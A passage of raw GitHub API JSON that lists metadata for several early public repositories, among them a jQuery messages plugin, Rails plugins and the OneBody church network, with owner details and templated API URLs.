[{"id":1008,"name":"jquery-humanize-messages-plugin","full_name":"andykent/jquery-humanize-messages-plugin","owner":{"login":"andykent","id":614,"avatar_url":"https://0.gravatar.com/avatar/c296fd4ef131939f1aa09b8294bbd08c?d=https%3A%2F%2Fidenticons.github.com%2F851ddf5058cf22df63d3344ad89919cf.png","gravatar_id":"c296fd4ef131939f1aa09b8294bbd08c","url":"https://api.github.com/users/andykent","html_url":"https://github.com/andykent","followers_url":"https://api.github.com/users/andykent/followers","following_url":"https://api.github.com/users/andykent/following{/other_user}","gists_url":"https://api.github.com/users/andykent/gists{/gist_id}","starred_url":"https://api.github.com/users/andykent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andykent/subscriptions","organizations_url":"https://api.github.com/users/andykent/orgs","repos_url":"https://api.github.com/users/andykent/repos","events_url":"https://api.github.com/users/andykent/events{/privacy}","received_events_url":"https://api.github.com/users/andykent/received_events","type":"User"},"private":false,"html_url":"https://github.com/andykent/jquery-humanize-messages-plugin","description":"A jQuery port of the humanized dialog display technique. (http://www.humanized.com/weblog/2006/09/11/monolog_boxes_and_transparent_messages/)","fork":false,"url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin","forks_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/forks","keys_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/teams","hooks_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/hooks","issue_events_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues/events{/number}","events_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/events","assignees_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/assignees{/user}","branches_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/branches{/branch}","tags_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/tags","blobs_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/refs{/sha}","trees_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/statuses/{sha}","languages_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/languages","stargazers_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/stargazers","contributors_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/contributors","subscribers_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/subscribers","subscription_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/subscription","commits_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/commits{/sha}","git_commits_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/git/commits{/sha}","comments_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/comments{/number}","issue_comment_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues/comments/{number}","contents_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/contents/{+path}","compare_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/merges","archive_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/downloads","issues_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/issues{/number}","pulls_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/pulls{/number}","milestones_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/milestones{/number}","notifications_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/andykent/jquery-humanize-messages-plugin/labels{/name}"},{"id":1010,"name":"4slicer","full_name":"avalade/4slicer","owner":{"login":"avalade","id":449,"avatar_url":"https://1.gravatar.com/avatar/7cd8f51abfade91b3e57af0887d69063?d=https%3A%2F%2Fidenticons.github.com%2Fd61e4bbd6393c9111e6526ea173a7c8b.png","gravatar_id":"7cd8f51abfade91b3e57af0887d69063","url":"https://api.github.com/users/avalade","html_url":"https://github.com/avalade","followers_url":"https://api.github.com/users/avalade/followers","following_url":"https://api.github.com/users/avalade/following{/other_user}","gists_url":"https://api.github.com/users/avalade/gists{/gist_id}","starred_url":"https://api.github.com/users/avalade/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/avalade/subscriptions","organizations_url":"https://api.github.com/users/avalade/orgs","repos_url":"https://api.github.com/users/avalade/repos","events_url":"https://api.github.com/users/avalade/events{/privacy}","received_events_url":"https://api.github.com/users/avalade/received_events","type":"User"},"private":false,"html_url":"https://github.com/avalade/4slicer","description":"","fork":false,"url":"https://api.github.com/repos/avalade/4slicer","forks_url":"https://api.github.com/repos/avalade/4slicer/forks","keys_url":"https://api.github.com/repos/avalade/4slicer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/avalade/4slicer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/avalade/4slicer/teams","hooks_url":"https://api.github.com/repos/avalade/4slicer/hooks","issue_events_url":"https://api.github.com/repos/avalade/4slicer/issues/events{/number}","events_url":"https://api.github.com/repos/avalade/4slicer/events","assignees_url":"https://api.github.com/repos/avalade/4slicer/assignees{/user}","branches_url":"https://api.github.com/repos/avalade/4slicer/branches{/branch}","tags_url":"https://api.github.com/repos/avalade/4slicer/tags","blobs_url":"https://api.github.com/repos/avalade/4slicer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/avalade/4slicer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/avalade/4slicer/git/refs{/sha}","trees_url":"https://api.github.com/repos/avalade/4slicer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/avalade/4slicer/statuses/{sha}","languages_url":"https://api.github.com/repos/avalade/4slicer/languages","stargazers_url":"https://api.github.com/repos/avalade/4slicer/stargazers","contributors_url":"https://api.github.com/repos/avalade/4slicer/contributors","subscribers_url":"https://api.github.com/repos/avalade/4slicer/subscribers","subscription_url":"https://api.github.com/repos/avalade/4slicer/subscription","commits_url":"https://api.github.com/repos/avalade/4slicer/commits{/sha}","git_commits_url":"https://api.github.com/repos/avalade/4slicer/git/commits{/sha}","comments_url":"https://api.github.com/repos/avalade/4slicer/comments{/number}","issue_comment_url":"https://api.github.com/repos/avalade/4slicer/issues/comments/{number}","contents_url":"https://api.github.com/repos/avalade/4slicer/contents/{+path}","compare_url":"https://api.github.com/repos/avalade/4slicer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/avalade/4slicer/merges","archive_url":"https://api.github.com/repos/avalade/4slicer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/avalade/4slicer/downloads","issues_url":"https://api.github.com/repos/avalade/4slicer/issues{/number}","pulls_url":"https://api.github.com/repos/avalade/4slicer/pulls{/number}","milestones_url":"https://api.github.com/repos/avalade/4slicer/milestones{/number}","notifications_url":"https://api.github.com/repos/avalade/4slicer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/avalade/4slicer/labels{/name}"},{"id":1015,"name":"fixture-scenarios","full_name":"mojombo/fixture-scenarios","owner":{"login":"mojombo","id":1,"avatar_url":"https://2.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/fixture-scenarios","description":"This plugin allows you to create 'scenarios' which are collections of fixtures and ruby files that represent a context against which you can run tests.","fork":false,"url":"https://api.github.com/repos/mojombo/fixture-scenarios","forks_url":"https://api.github.com/repos/mojombo/fixture-scenarios/forks","keys_url":"https://api.github.com/repos/mojombo/fixture-scenarios/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/fixture-scenarios/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/fixture-scenarios/teams","hooks_url":"https://api.github.com/repos/mojombo/fixture-scenarios/hooks","issue_events_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/fixture-scenarios/events","assignees_url":"https://api.github.com/repos/mojombo/fixture-scenarios/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/fixture-scenarios/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/fixture-scenarios/tags","blobs_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/fixture-scenarios/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/fixture-scenarios/languages","stargazers_url":"https://api.github.com/repos/mojombo/fixture-scenarios/stargazers","contributors_url":"https://api.github.com/repos/mojombo/fixture-scenarios/contributors","subscribers_url":"https://api.github.com/repos/mojombo/fixture-scenarios/subscribers","subscription_url":"https://api.github.com/repos/mojombo/fixture-scenarios/subscription","commits_url":"https://api.github.com/repos/mojombo/fixture-scenarios/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/fixture-scenarios/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/fixture-scenarios/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/fixture-scenarios/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/fixture-scenarios/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/fixture-scenarios/merges","archive_url":"https://api.github.com/repos/mojombo/fixture-scenarios/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/fixture-scenarios/downloads","issues_url":"https://api.github.com/repos/mojombo/fixture-scenarios/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/fixture-scenarios/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/fixture-scenarios/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/fixture-scenarios/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/fixture-scenarios/labels{/name}"},{"id":1016,"name":"mongrel_proctitle","full_name":"rtomayko/mongrel_proctitle","owner":{"login":"rtomayko","id":404,"avatar_url":"https://0.gravatar.com/avatar/abfc88b96ae18c85ba7aac3bded2ec5e?d=https%3A%2F%2Fidenticons.github.com%2F4f4adcbf8c6f66dcfc8a3282ac2bf10a.png","gravatar_id":"abfc88b96ae18c85ba7aac3bded2ec5e","url":"https://api.github.com/users/rtomayko","html_url":"https://github.com/rtomayko","followers_url":"https://api.github.com/users/rtomayko/followers","following_url":"https://api.github.com/users/rtomayko/following{/other_user}","gists_url":"https://api.github.com/users/rtomayko/gists{/gist_id}","starred_url":"https://api.github.com/users/rtomayko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rtomayko/subscriptions","organizations_url":"https://api.github.com/users/rtomayko/orgs","repos_url":"https://api.github.com/users/rtomayko/repos","events_url":"https://api.github.com/users/rtomayko/events{/privacy}","received_events_url":"https://api.github.com/users/rtomayko/received_events","type":"User"},"private":false,"html_url":"https://github.com/rtomayko/mongrel_proctitle","description":"Process title support for Mongrel (GemPlugin)","fork":false,"url":"https://api.github.com/repos/rtomayko/mongrel_proctitle","forks_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/forks","keys_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/teams","hooks_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/hooks","issue_events_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/issues/events{/number}","events_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/events","assignees_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/assignees{/user}","branches_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/branches{/branch}","tags_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/tags","blobs_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/git/refs{/sha}","trees_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/statuses/{sha}","languages_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/languages","stargazers_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/stargazers","contributors_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/contributors","subscribers_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/subscribers","subscription_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/subscription","commits_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/commits{/sha}","git_commits_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/git/commits{/sha}","comments_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/comments{/number}","issue_comment_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/issues/comments/{number}","contents_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/contents/{+path}","compare_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/merges","archive_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/downloads","issues_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/issues{/number}","pulls_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/pulls{/number}","milestones_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/milestones{/number}","notifications_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rtomayko/mongrel_proctitle/labels{/name}"},{"id":1017,"name":"rails-plugins","full_name":"zachinglis/rails-plugins","owner":{"login":"zachinglis","id":665,"avatar_url":"https://0.gravatar.com/avatar/1055b2b90f5beb844f28fd909ed45d5f?d=https%3A%2F%2Fidenticons.github.com%2F84117275be999ff55a987b9381e01f96.png","gravatar_id":"1055b2b90f5beb844f28fd909ed45d5f","url":"https://api.github.com/users/zachinglis","html_url":"https://github.com/zachinglis","followers_url":"https://api.github.com/users/zachinglis/followers","following_url":"https://api.github.com/users/zachinglis/following{/other_user}","gists_url":"https://api.github.com/users/zachinglis/gists{/gist_id}","starred_url":"https://api.github.com/users/zachinglis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zachinglis/subscriptions","organizations_url":"https://api.github.com/users/zachinglis/orgs","repos_url":"https://api.github.com/users/zachinglis/repos","events_url":"https://api.github.com/users/zachinglis/events{/privacy}","received_events_url":"https://api.github.com/users/zachinglis/received_events","type":"User"},"private":false,"html_url":"https://github.com/zachinglis/rails-plugins","description":"All my Rails plugins bundled up.","fork":false,"url":"https://api.github.com/repos/zachinglis/rails-plugins","forks_url":"https://api.github.com/repos/zachinglis/rails-plugins/forks","keys_url":"https://api.github.com/repos/zachinglis/rails-plugins/keys{/key_id}","collaborators_url":"https://api.github.com/repos/zachinglis/rails-plugins/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/zachinglis/rails-plugins/teams","hooks_url":"https://api.github.com/repos/zachinglis/rails-plugins/hooks","issue_events_url":"https://api.github.com/repos/zachinglis/rails-plugins/issues/events{/number}","events_url":"https://api.github.com/repos/zachinglis/rails-plugins/events","assignees_url":"https://api.github.com/repos/zachinglis/rails-plugins/assignees{/user}","branches_url":"https://api.github.com/repos/zachinglis/rails-plugins/branches{/branch}","tags_url":"https://api.github.com/repos/zachinglis/rails-plugins/tags","blobs_url":"https://api.github.com/repos/zachinglis/rails-plugins/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/zachinglis/rails-plugins/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/zachinglis/rails-plugins/git/refs{/sha}","trees_url":"https://api.github.com/repos/zachinglis/rails-plugins/git/trees{/sha}","statuses_url":"https://api.github.com/repos/zachinglis/rails-plugins/statuses/{sha}","languages_url":"https://api.github.com/repos/zachinglis/rails-plugins/languages","stargazers_url":"https://api.github.com/repos/zachinglis/rails-plugins/stargazers","contributors_url":"https://api.github.com/repos/zachinglis/rails-plugins/contributors","subscribers_url":"https://api.github.com/repos/zachinglis/rails-plugins/subscribers","subscription_url":"https://api.github.com/repos/zachinglis/rails-plugins/subscription","commits_url":"https://api.github.com/repos/zachinglis/rails-plugins/commits{/sha}","git_commits_url":"https://api.github.com/repos/zachinglis/rails-plugins/git/commits{/sha}","comments_url":"https://api.github.com/repos/zachinglis/rails-plugins/comments{/number}","issue_comment_url":"https://api.github.com/repos/zachinglis/rails-plugins/issues/comments/{number}","contents_url":"https://api.github.com/repos/zachinglis/rails-plugins/contents/{+path}","compare_url":"https://api.github.com/repos/zachinglis/rails-plugins/compare/{base}...{head}","merges_url":"https://api.github.com/repos/zachinglis/rails-plugins/merges","archive_url":"https://api.github.com/repos/zachinglis/rails-plugins/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/zachinglis/rails-plugins/downloads","issues_url":"https://api.github.com/repos/zachinglis/rails-plugins/issues{/number}","pulls_url":"https://api.github.com/repos/zachinglis/rails-plugins/pulls{/number}","milestones_url":"https://api.github.com/repos/zachinglis/rails-plugins/milestones{/number}","notifications_url":"https://api.github.com/repos/zachinglis/rails-plugins/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/zachinglis/rails-plugins/labels{/name}"},{"id":1028,"name":"date-performance","full_name":"rtomayko/date-performance","owner":{"login":"rtomayko","id":404,"avatar_url":"https://0.gravatar.com/avatar/abfc88b96ae18c85ba7aac3bded2ec5e?d=https%3A%2F%2Fidenticons.github.com%2F4f4adcbf8c6f66dcfc8a3282ac2bf10a.png","gravatar_id":"abfc88b96ae18c85ba7aac3bded2ec5e","url":"https://api.github.com/users/rtomayko","html_url":"https://github.com/rtomayko","followers_url":"https://api.github.com/users/rtomayko/followers","following_url":"https://api.github.com/users/rtomayko/following{/other_user}","gists_url":"https://api.github.com/users/rtomayko/gists{/gist_id}","starred_url":"https://api.github.com/users/rtomayko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rtomayko/subscriptions","organizations_url":"https://api.github.com/users/rtomayko/orgs","repos_url":"https://api.github.com/users/rtomayko/repos","events_url":"https://api.github.com/users/rtomayko/events{/privacy}","received_events_url":"https://api.github.com/users/rtomayko/received_events","type":"User"},"private":false,"html_url":"https://github.com/rtomayko/date-performance","description":"Adds a semblance of performance to Ruby's core Date class ...","fork":false,"url":"https://api.github.com/repos/rtomayko/date-performance","forks_url":"https://api.github.com/repos/rtomayko/date-performance/forks","keys_url":"https://api.github.com/repos/rtomayko/date-performance/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rtomayko/date-performance/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rtomayko/date-performance/teams","hooks_url":"https://api.github.com/repos/rtomayko/date-performance/hooks","issue_events_url":"https://api.github.com/repos/rtomayko/date-performance/issues/events{/number}","events_url":"https://api.github.com/repos/rtomayko/date-performance/events","assignees_url":"https://api.github.com/repos/rtomayko/date-performance/assignees{/user}","branches_url":"https://api.github.com/repos/rtomayko/date-performance/branches{/branch}","tags_url":"https://api.github.com/repos/rtomayko/date-performance/tags","blobs_url":"https://api.github.com/repos/rtomayko/date-performance/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rtomayko/date-performance/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rtomayko/date-performance/git/refs{/sha}","trees_url":"https://api.github.com/repos/rtomayko/date-performance/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rtomayko/date-performance/statuses/{sha}","languages_url":"https://api.github.com/repos/rtomayko/date-performance/languages","stargazers_url":"https://api.github.com/repos/rtomayko/date-performance/stargazers","contributors_url":"https://api.github.com/repos/rtomayko/date-performance/contributors","subscribers_url":"https://api.github.com/repos/rtomayko/date-performance/subscribers","subscription_url":"https://api.github.com/repos/rtomayko/date-performance/subscription","commits_url":"https://api.github.com/repos/rtomayko/date-performance/commits{/sha}","git_commits_url":"https://api.github.com/repos/rtomayko/date-performance/git/commits{/sha}","comments_url":"https://api.github.com/repos/rtomayko/date-performance/comments{/number}","issue_comment_url":"https://api.github.com/repos/rtomayko/date-performance/issues/comments/{number}","contents_url":"https://api.github.com/repos/rtomayko/date-performance/contents/{+path}","compare_url":"https://api.github.com/repos/rtomayko/date-performance/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rtomayko/date-performance/merges","archive_url":"https://api.github.com/repos/rtomayko/date-performance/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rtomayko/date-performance/downloads","issues_url":"https://api.github.com/repos/rtomayko/date-performance/issues{/number}","pulls_url":"https://api.github.com/repos/rtomayko/date-performance/pulls{/number}","milestones_url":"https://api.github.com/repos/rtomayko/date-performance/milestones{/number}","notifications_url":"https://api.github.com/repos/rtomayko/date-performance/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rtomayko/date-performance/labels{/name}"},{"id":1031,"name":"rails-ssl-authentication","full_name":"labria/rails-ssl-authentication","owner":{"login":"labria","id":323,"avatar_url":"https://1.gravatar.com/avatar/f5049506664636c6cc725099367bd167?d=https%3A%2F%2Fidenticons.github.com%2Fbc6dc48b743dc5d013b1abaebd2faed2.png","gravatar_id":"f5049506664636c6cc725099367bd167","url":"https://api.github.com/users/labria","html_url":"https://github.com/labria","followers_url":"https://api.github.com/users/labria/followers","following_url":"https://api.github.com/users/labria/following{/other_user}","gists_url":"https://api.github.com/users/labria/gists{/gist_id}","starred_url":"https://api.github.com/users/labria/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/labria/subscriptions","organizations_url":"https://api.github.com/users/labria/orgs","repos_url":"https://api.github.com/users/labria/repos","events_url":"https://api.github.com/users/labria/events{/privacy}","received_events_url":"https://api.github.com/users/labria/received_events","type":"User"},"private":false,"html_url":"https://github.com/labria/rails-ssl-authentication","description":"A attempt to make SSL client certificate authentication with rails painless","fork":false,"url":"https://api.github.com/repos/labria/rails-ssl-authentication","forks_url":"https://api.github.com/repos/labria/rails-ssl-authentication/forks","keys_url":"https://api.github.com/repos/labria/rails-ssl-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/labria/rails-ssl-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/labria/rails-ssl-authentication/teams","hooks_url":"https://api.github.com/repos/labria/rails-ssl-authentication/hooks","issue_events_url":"https://api.github.com/repos/labria/rails-ssl-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/labria/rails-ssl-authentication/events","assignees_url":"https://api.github.com/repos/labria/rails-ssl-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/labria/rails-ssl-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/labria/rails-ssl-authentication/tags","blobs_url":"https://api.github.com/repos/labria/rails-ssl-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/labria/rails-ssl-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/labria/rails-ssl-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/labria/rails-ssl-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/labria/rails-ssl-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/labria/rails-ssl-authentication/languages","stargazers_url":"https://api.github.com/repos/labria/rails-ssl-authentication/stargazers","contributors_url":"https://api.github.com/repos/labria/rails-ssl-authentication/contributors","subscribers_url":"https://api.github.com/repos/labria/rails-ssl-authentication/subscribers","subscription_url":"https://api.github.com/repos/labria/rails-ssl-authentication/subscription","commits_url":"https://api.github.com/repos/labria/rails-ssl-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/labria/rails-ssl-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/labria/rails-ssl-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/labria/rails-ssl-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/labria/rails-ssl-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/labria/rails-ssl-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/labria/rails-ssl-authentication/merges","archive_url":"https://api.github.com/repos/labria/rails-ssl-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/labria/rails-ssl-authentication/downloads","issues_url":"https://api.github.com/repos/labria/rails-ssl-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/labria/rails-ssl-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/labria/rails-ssl-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/labria/rails-ssl-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/labria/rails-ssl-authentication/labels{/name}"},{"id":1032,"name":"onebody","full_name":"churchio/onebody","owner":{"login":"churchio","id":935086,"avatar_url":"https://0.gravatar.com/avatar/be6afcca013316741f7189ccda95067e?d=https%3A%2F%2Fidenticons.github.com%2Fb903ff4db9f18d88c10889cc7de72269.png","gravatar_id":"be6afcca013316741f7189ccda95067e","url":"https://api.github.com/users/churchio","html_url":"https://github.com/churchio","followers_url":"https://api.github.com/users/churchio/followers","following_url":"https://api.github.com/users/churchio/following{/other_user}","gists_url":"https://api.github.com/users/churchio/gists{/gist_id}","starred_url":"https://api.github.com/users/churchio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/churchio/subscriptions","organizations_url":"https://api.github.com/users/churchio/orgs","repos_url":"https://api.github.com/users/churchio/repos","events_url":"https://api.github.com/users/churchio/events{/privacy}","received_events_url":"https://api.github.com/users/churchio/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/churchio/onebody","description":"OneBody is a private social network and online directory solution for churches built with Ruby on Rails.","fork":false,"url":"https://api.github.com/repos/churchio/onebody","forks_url":"https://api.github.com/repos/churchio/onebody/forks","keys_url":"https://api.github.com/repos/churchio/onebody/keys{/key_id}","collaborators_url":"https://api.github.com/repos/churchio/onebody/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/churchio/onebody/teams","hooks_url":"https://api.github.com/repos/churchio/onebody/hooks","issue_events_url":"https://api.github.com/repos/churchio/onebody/issues/events{/number}","events_url":"https://api.github.com/repos/churchio/onebody/events","assignees_url":"https://api.github.com/repos/churchio/onebody/assignees{/user}","branches_url":"https://api.github.com/repos/churchio/onebody/branches{/branch}","tags_url":"https://api.github.com/repos/churchio/onebody/tags","blobs_url":"https://api.github.com/repos/churchio/onebody/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/churchio/onebody/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/churchio/onebody/git/refs{/sha}","trees_url":"https://api.github.com/repos/churchio/onebody/git/trees{/sha}","statuses_url":"https://api.github.com/repos/churchio/onebody/statuses/{sha}","languages_url":"https://api.github.com/repos/churchio/onebody/languages","stargazers_url":"https://api.github.com/repos/churchio/onebody/stargazers","contributors_url":"https://api.github.com/repos/churchio/onebody/contributors","subscribers_url":"https://api.github.com/repos/churchio/onebody/subscribers","subscription_url":"https://api.github.com/repos/churchio/onebody/subscription","commits_url":"https://api.github.com/repos/churchio/onebody/commits{/sha}","git_commits_url":"https://api.github.com/repos/churchio/onebody/git/commits{/sha}","comments_url":"https://api.github.com/repos/churchio/onebody/comments{/number}","issue_comment_url":"https://api.github.com/repos/churchio/onebody/issues/comments/{number}","contents_url":"https://api.github.com/repos/churchio/onebody/contents/{+path}","compare_url":"https://api.github.com/repos/churchio/onebody/compare/{base}...{head}","merges_url":"https://api.github.com/repos/churchio/onebody/merges","archive_url":"https://api.github.com/repos/churchio/onebody/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/churchio/onebody/downloads","issues_url":"https://api.github.com/repos/churchio/onebody/issues{/number}","pulls_url":"https://api.github.com/repos/churchio/onebody/pulls{/number}","milestones_url":"https://api.github.com/repos/churchio/onebody/milestones{/number}","notifications_url":"https://api.github.com/repos/churchio/onebody/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/churchio/onebody/labels{/name}"},{"id":1040,"name":"jacks-php","full_name":"russ/jacks-php","owner":{"login":"russ","id":684,"avatar_url":"https://1.gravatar.com/avatar/5f763744270a1aa74c614cec8b30a3e1?d=https%3A%2F%2Fidenticons.github.com%2F556f391937dfd4398cbac35e050a2177.png","gravatar_id":"5f763744270a1aa74c6